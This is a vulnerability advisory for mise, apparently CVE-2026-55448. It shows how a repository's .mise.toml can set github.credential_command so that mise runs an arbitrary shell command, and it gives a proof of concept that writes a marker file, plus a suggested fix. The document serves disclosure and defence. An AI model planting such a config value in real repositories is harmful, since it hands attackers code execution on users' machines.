CVE-2026-55448 — mise

Summary

mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

Details

The vulnerable load order is:

1. Settings::try_get() preloads settings from local config files.
2. parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.
3. resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.
4. get_credential_command_token() executes the value with sh -c.

The main command-execution path is:

let result = std::process::Command::new("sh")
    .arg("-c")
    .arg(cmd)
    .arg("mise-credential-helper")
    .arg(host)
    .output()

If a local project file sets:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

PoC

Test environment:

• Docker
• linux-arm64
• mise v2026.3.17

Negative control:

export GITHUB_TOKEN=env_token
mise github token --unmask

Observed:

github.com: env_token (source: GITHUB_TOKEN)
/tmp/mise-proof.txt => missing

Primary exploit:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

Run:

unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
mise github token --unmask

Observed:

github.com: ghp_fake_token (source: credential_command)

And the side effect file is created:

/tmp/mise-proof.txt => credential_command_rce

Related version check:

• v2026.3.14: credential_command is rejected as an unknown field
• v2026.3.15: the same PoC executes and returns source: credential_command

Impact

An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

Demonstrated impact:

• arbitrary command execution as the victim user
• no trust prompt
• no need for [env], [hooks], tasks, or templates

Important limitation:

• if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

Suggested Fix

Do not honor github.credential_command from non-global project config files.

For example, inside parse_settings_file():

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.github.credential_command = None;
    }

    Ok(settings)
}